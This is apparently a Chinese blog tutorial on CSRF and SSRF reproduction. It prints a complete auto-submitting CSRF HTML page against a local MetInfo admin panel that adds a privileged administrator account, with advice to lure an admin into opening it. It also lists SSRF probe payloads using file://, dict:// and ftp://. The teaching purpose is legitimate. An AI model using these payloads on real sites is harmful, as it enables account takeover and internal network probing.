当前位置: 首页 > news >正文

深入探究CSRF与SSRF漏洞复现:从原理到实践

在当今网络安全领域,跨站请求伪造(CSRF)和服务器端请求伪造(SSRF) 已成为两种常见且严重的漏洞类型。随着Web应用程序的复杂性不断增加,这些漏洞的危害也愈发显著。作为一名开发者或安全研究人员,理解并能够复现这些漏洞对于提升自身的安全防护能力至关重要。

本文将带领您深入探究CSRF和SSRF漏洞的原理,并通过实际案例进行漏洞复现。无论您是网络安全新手,还是经验丰富的专业人士,都能从本文中获取宝贵的知识和实用技能。让我们一起揭开CSRF与SSRF的神秘面纱,提升我们的安全意识和应对能力。

CSRF

  1. 概念
    1. CSRF全称:Cross-site request forgery,即,跨站请求伪造,也被称为“One Click Attack”或“Session Riding”,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。举个生活中的例子:就是某个人点了个奇怪的链接,自己什么也没输,但自己的QQ号或其他的号就被盗了。即该攻击可以在受害者不知情的情况下以受害者名义伪造请求,执行恶意操作,具有很大的危害性。
  2. 条件
    1. 目标用户已经登录了网站,能够执行网站的功能。
    2. 目标用户访问了攻击者构造的URL。
  3. 复现
    1. 下载安装csrftester,配置端口代理

    2. 利用csrftester捉取构造index.html数据包

      1. 数据包数据包内容如下

        1.   index.html<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>cong</title></head><body onload="javascript:fireForms()"><script language="JavaScript">var pauses = new Array( "1132","36","70","73","79","77","85","87","1152","1176","1091","41","74","84","77","80","79","90","88","1094","86" );function pausecomp(millis){var date = new Date();var curDate = null;do { curDate = new Date(); }while(curDate-date < millis);}function fireForms(){var count = 21;var i=0;for(i=0; i<count; i++){document.forms[i].submit();pausecomp(pauses[i]);}}</script><H2>OWASP CRSFTester Demonstration</H2></form><form method="POST" name="form8" action="http://127.0.0.1/metinfo/admin/admin/ajax.php?lang=cn&anyid=47&action=admin&id=xiaodi"><input type="hidden" name="name" value="value"/> </form><form method="POST" name="form9" action="http://127.0.0.1/metinfo/admin/admin/save.php?action=add&lang=cn&anyid=47"><input type="hidden" name="useid" value="cong"/><input type="hidden" name="pass1" value="cong"/><input type="hidden" name="pass2" value="cong"/><input type="hidden" name="name" value="cong"/><input type="hidden" name="sex" value="0"/><input type="hidden" name="tel" value=""/><input type="hidden" name="mobile" value="13333333333333"/><input type="hidden" name="email" value="471656814@qq.com"/><input type="hidden" name="qq" value=""/><input type="hidden" name="msn" value=""/><input type="hidden" name="taobao" value=""/><input type="hidden" name="admin_introduction" value=""/><input type="hidden" name="admin_group" value="3"/><input type="hidden" name="langok" value="metinfo"/><input type="hidden" name="langok_cn" value="cn"/><input type="hidden" name="langok_en" value="en"/><input type="hidden" name="langok_tc" value="tc"/><input type="hidden" name="admin_pop1801" value="1801"/><input type="hidden" name="admin_op0" value="metinfo"/><input type="hidden" name="admin_op1" value="add"/><input type="hidden" name="admin_op2" value="editor"/><input type="hidden" name="admin_op3" value="del"/><input type="hidden" name="admin_pop" value="yes"/><input type="hidden" name="admin_pops1301" value="s1301"/><input type="hidden" name="admin_popc1" value="c1"/><input type="hidden" name="admin_popc2" value="c2"/><input type="hidden" name="admin_popc3" value="c3"/><input type="hidden" name="admin_popc25" value="c25"/><input type="hidden" name="admin_popc31" value="c31"/><input type="hidden" name="admin_popc32" value="c32"/><input type="hidden" name="admin_popc33" value="c33"/><input type="hidden" name="admin_popc36" value="c36"/><input type="hidden" name="admin_popc42" value="c42"/><input type="hidden" name="admin_popc43" value="c43"/><input type="hidden" name="admin_popc49" value="c49"/><input type="hidden" name="admin_popc44" value="c44"/><input type="hidden" name="admin_popc50" value="c50"/><input type="hidden" name="admin_popc45" value="c45"/><input type="hidden" name="admin_popc46" value="c46"/><input type="hidden" name="admin_popc47" value="c47"/><input type="hidden" name="admin_popc68" value="c68"/><input type="hidden" name="admin_popc69" value="c69"/><input type="hidden" name="admin_popc70" value="c70"/><input type="hidden" name="admin_popc86" value="c86"/><input type="hidden" name="admin_popc84" value="c84"/><input type="hidden" name="admin_popc87" value="c87"/><input type="hidden" name="admin_popc88" value="c88"/><input type="hidden" name="admin_popc92" value="c92"/><input type="hidden" name="admin_pop9999" value="9999"/><input type="hidden" name="admin_pops1401" value="s1401"/><input type="hidden" name="admin_pops1106" value="s1106"/><input type="hidden" name="admin_pops1404" value="s1404"/><input type="hidden" name="admin_pops1406" value="s1406"/><input type="hidden" name="admin_pops1101" value="s1101"/><input type="hidden" name="admin_pops1102" value="s1102"/><input type="hidden" name="admin_pops1505" value="s1505"/><input type="hidden" name="admin_pops1507" value="s1507"/><input type="hidden" name="admin_pops1503" value="s1503"/><input type="hidden" name="admin_pops1504" value="s1504"/><input type="hidden" name="admin_pops1006" value="s1006"/><input type="hidden" name="admin_pops1501" value="s1501"/><input type="hidden" name="admin_pops1601" value="s1601"/><input type="hidden" name="admin_pops1603" value="s1603"/><input type="hidden" name="admin_pops1004" value="s1004"/><input type="hidden" name="admin_pops1005" value="s1005"/><input type="hidden" name="admin_pops1007" value="s1007"/><input type="hidden" name="admin_pops1103" value="s1103"/><input type="hidden" name="admin_pops1201" value="s1201"/><input type="hidden" name="admin_pops1002" value="s1002"/><input type="hidden" name="admin_pops1003" value="s1003"/><input type="hidden" name="admin_pops1104" value="s1104"/><input type="hidden" name="Submit" value="保存"/></form></body></html>
    3. 将其放入服务器,诱导管理员点击

  4. 修复
    1. 验证referer头
    2. 增加token功能

SSRF

  1. 概念
    1. SSRF(Server-Side Request Forgery,服务器端请求伪造)漏洞是一种安全漏洞,攻击者通过伪造服务器端请求,利用服务器作为代理向内部或外部网络发送恶意请求。这样,攻击者可以访问原本无法直接访问的内部资源、敏感数据或进行其他恶意操作,导致信息泄露、服务中断等安全问题。
  2. 复现
    1. 服务探针
      1. 可以用来探测主机开了哪些服务,例如下图主机开了思源笔记的伺服功能

    2. 内网扫描
      1. 可以扫描下内网主机的存活数量,也可以进行爆破

    3. 协议玩法
      1. file:///D:/www.txt
      2. dict://127.0.0.1:3306
      3. ftp://192.168.46.148:21
  3. —SSRF黑盒可能出现的地方:
    1. 社交分享功能:获取超链接的标题等内容进行显示
    2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
    3. 在线翻译:给网址翻译对应网页的内容
    4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
    5. 图片/文章收藏功能:主要是取URL地址中title以及文本的内容作为显示以求一个好的用户体验
    6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行SSRF测试
    7. 网站采集,网站抓取的地方:一些网站会针对你输入的URL进行一些信息采集工作
    8. 数据库内置功能:数据库的比如MongoDB的copyDatabase函数
    9. 邮件系统:比如接收邮件服务器地址
    10. 编码处理,属性信息处理,文件处理:比如FFmpeg, ImageMagick, docx, pdf, xml处理器等
    11. 未公开的API实现以及其他扩展调用URL的功能:可以利用Google语法加上这些关键字去寻找SSRF漏洞

    一些URL中的关键字:share、 wap、 uri、 link、 src、 source、 target、 u、 3g、 display、 sourceURI、 imageURL、 domain…

通过本文的学习,我们不仅了解了CSRF与SSRF漏洞的基本原理,还掌握了如何在实际环境中复现这些漏洞。安全防护始于了解威胁,通过对漏洞的深入探究,我们能够更好地识别并修复潜在的安全隐患。

在这个信息化高速发展的时代,网络安全已成为不可忽视的重要领域。希望本文能为您在安全防护之路上提供帮助,激发您对网络安全的兴趣与热情。让我们共同努力,构建一个更加安全的网络环境。如果您有任何疑问或建议,欢迎在评论区与我们分享交流。谢谢您的阅读,期待您的反馈与互动!

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 智能驾驶学习笔记,第一天
  • opencascade AIS_ViewCube源码学习小方块
  • Linux中栈的大小的修改
  • vue3+element-plus实现table表格整列的拖拽
  • 函数对象/仿函数
  • 【机器学习】逻辑回归的梯度下降以及在一变量数据集、两变量数据集下探索优化的梯度下降算法
  • 26.9 Django书籍管理练习
  • vue实现简易的全局加载动画效果
  • 2.回文数
  • Python使用内置logging模块打印日志
  • 主动学习实现领域自适应语义分割
  • 某次活动优惠券故障复盘及优化建议
  • JVM生态创新
  • Redis 数据结构深度解析:跳跃表(Skiplist)
  • vscode安装与配置本地c/c++编译调试环境
  • 【划重点】MySQL技术内幕:InnoDB存储引擎
  • Hibernate【inverse和cascade属性】知识要点
  • Java|序列化异常StreamCorruptedException的解决方法
  • Java的Interrupt与线程中断
  • JDK 6和JDK 7中的substring()方法
  • mockjs让前端开发独立于后端
  • Redux系列x:源码分析
  • select2 取值 遍历 设置默认值
  • Shadow DOM 内部构造及如何构建独立组件
  • SOFAMosn配置模型
  • 海量大数据大屏分析展示一步到位:DataWorks数据服务+MaxCompute Lightning对接DataV最佳实践...
  • 互联网大裁员:Java程序员失工作,焉知不能进ali?
  • 前嗅ForeSpider中数据浏览界面介绍
  • 如何解决微信端直接跳WAP端
  • 我的业余项目总结
  • 由插件封装引出的一丢丢思考
  • 职业生涯 一个六年开发经验的女程序员的心声。
  • 走向全栈之MongoDB的使用
  • Nginx实现动静分离
  • python最赚钱的4个方向,你最心动的是哪个?
  • ​人工智能书单(数学基础篇)
  • # wps必须要登录激活才能使用吗?
  • #### golang中【堆】的使用及底层 ####
  • #Linux(帮助手册)
  • #LLM入门|Prompt#2.3_对查询任务进行分类|意图分析_Classification
  • #调用传感器数据_Flink使用函数之监控传感器温度上升提醒
  • (附源码)spring boot火车票售卖系统 毕业设计 211004
  • (附源码)spring boot智能服药提醒app 毕业设计 102151
  • (附源码)计算机毕业设计SSM智慧停车系统
  • (蓝桥杯每日一题)love
  • (六)Hibernate的二级缓存
  • (每日持续更新)jdk api之FileReader基础、应用、实战
  • (十)Flink Table API 和 SQL 基本概念
  • (十八)devops持续集成开发——使用docker安装部署jenkins流水线服务
  • (一)、python程序--模拟电脑鼠走迷宫
  • (一)Dubbo快速入门、介绍、使用
  • (中等) HDU 4370 0 or 1,建模+Dijkstra。
  • (转)h264中avc和flv数据的解析
  • (转)iOS字体
  • (转载)Linux网络编程入门